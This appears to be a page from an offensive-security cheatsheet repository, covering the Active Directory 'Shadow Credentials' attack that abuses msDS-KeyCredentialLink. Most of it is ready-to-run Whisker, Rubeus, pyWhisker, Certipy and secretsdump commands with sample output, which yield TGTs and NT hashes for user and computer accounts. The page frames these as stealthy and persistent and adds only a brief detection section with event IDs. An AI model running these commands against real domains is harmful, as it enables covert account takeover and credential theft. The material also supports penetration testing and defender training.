repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-25-shadow-credentials-attack-msds-keycredentiallink.mdMarkdown174 lines7.9 KiBsource raw download

🟑 Attack #25 β€” Shadow Credentials Attack (msDS-KeyCredentialLink)#


πŸ“– How It Works#

Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute β€” originally designed for Windows Hello for Business (WHfB) β€” to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via PKINIT (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target's password.

Why Shadow Credentials is Superior to Password Reset#

Aspect Password Reset Shadow Credentials
Target notices? βœ… Yes β€” locked out immediately ❌ No β€” original password still works
Persistence One-time β€” target resets back Persistent β€” survives password changes
Detection Event 4724 β€” well-known Event 5136 β€” less commonly monitored
Prerequisite ForceChangePassword / GenericAll GenericWrite / GenericAll / WriteDACL on target
OPSEC Low High

Requirements#


βš™οΈ Prerequisites#

Requirement Detail
Write access to msDS-KeyCredentialLink GenericWrite, GenericAll on target user/computer
PKINIT / ADCS in environment Domain must support certificate-based auth
Domain functional level 2016+ Attribute doesn't exist on older schemas

πŸ› οΈ Tools#

Tool Platform Notes
Whisker Windows Add/remove/list shadow credentials
pyWhisker Linux Python implementation
Certipy Linux shadow auto β€” automated full chain
DSInternals Windows/PowerShell Set-DomainObject key credential manipulation
Rubeus Windows PKINIT authentication with the shadow cert

πŸ’» Full Commands#

πŸ”΄ Whisker (Windows)#

# ── Add shadow credential to target user ──────────────────────────────────────
.\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local

# Output:
# [*] No existing DeviceCredentials found
# [*] Generated key pair
# [*] DeviceID: a1b2c3d4-...
# [*] Adding KeyCredential
# [*] Use Rubeus with the following command:
# Rubeus.exe asktgt /user:targetadmin /certificate:<base64_pfx> /password:<pfx_pass> /ptt

# ── Run the outputted Rubeus command ──────────────────────────────────────────
.\Rubeus.exe asktgt /user:targetadmin /certificate:<base64_from_whisker> \
  /password:<password_from_whisker> /ptt /getcredentials

# Output includes NT hash via U2U

# ── List existing shadow credentials ──────────────────────────────────────────
.\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local

# ── Remove shadow credential (cleanup) ────────────────────────────────────────
.\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \
  /domain:corp.local /dc:DC01.corp.local

πŸ”΄ pyWhisker (Linux)#

# ── Add shadow credential ────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action add --dc-ip 10.10.10.10

# Output: PFX certificate file and password

# ── Authenticate with the certificate ─────────────────────────────────────────
certipy auth -pfx <generated_pfx_file> -dc-ip 10.10.10.10
# Returns TGT + NT hash

# ── List ──────────────────────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action list --dc-ip 10.10.10.10

# ── Remove ────────────────────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10

πŸ”΄ Certipy Shadow Auto (Easiest β€” Linux)#

# ── Full automated chain β€” add key, auth, get hash ───────────────────────────
certipy shadow auto -u low_user@corp.local -p 'Password1' \
  -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local

# Output:
# [*] Saved PFX to 'targetadmin.pfx'
# [*] Got TGT for 'targetadmin@corp.local'
# [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

πŸ”΄ Shadow Credentials on Computer Objects#

# ── Works on computer objects too (compromise the machine) ────────────────────
certipy shadow auto -u low_user@corp.local -p 'Password1' \
  -account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local

# Use the machine's NT hash to:
# - Silver Ticket to services on that machine
# - SecretsDump for local SAM/LSA
secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \
  -hashes :2b576acbe6bcfda7294d6bd18041b8fe

🎯 OPSEC Tips#


πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
5136 Security Log (DC) Modification of msDS-KeyCredentialLink attribute
4768 Security Log (DC) TGT request via PKINIT (Pre-Auth Type 16) β€” certificate-based auth for a non-smart-card user

πŸ”— Attack Chain Context#

[Shadow Credentials] ──→ Stealthy Account Takeover Without Password Change
         β”‚
         β”œβ”€β”€β†’ πŸ”‘ Write msDS-KeyCredentialLink β†’ auth as target via PKINIT
         β”œβ”€β”€β†’ πŸ”’ Survives password changes β€” persistent until key is removed
         β”œβ”€β”€β†’ πŸ’» Works on users AND computers
         β”œβ”€β”€β†’ πŸ”— Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21)
         └──→ πŸ’€ Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused

βœ… Attack #25 β€” Shadow Credentials complete.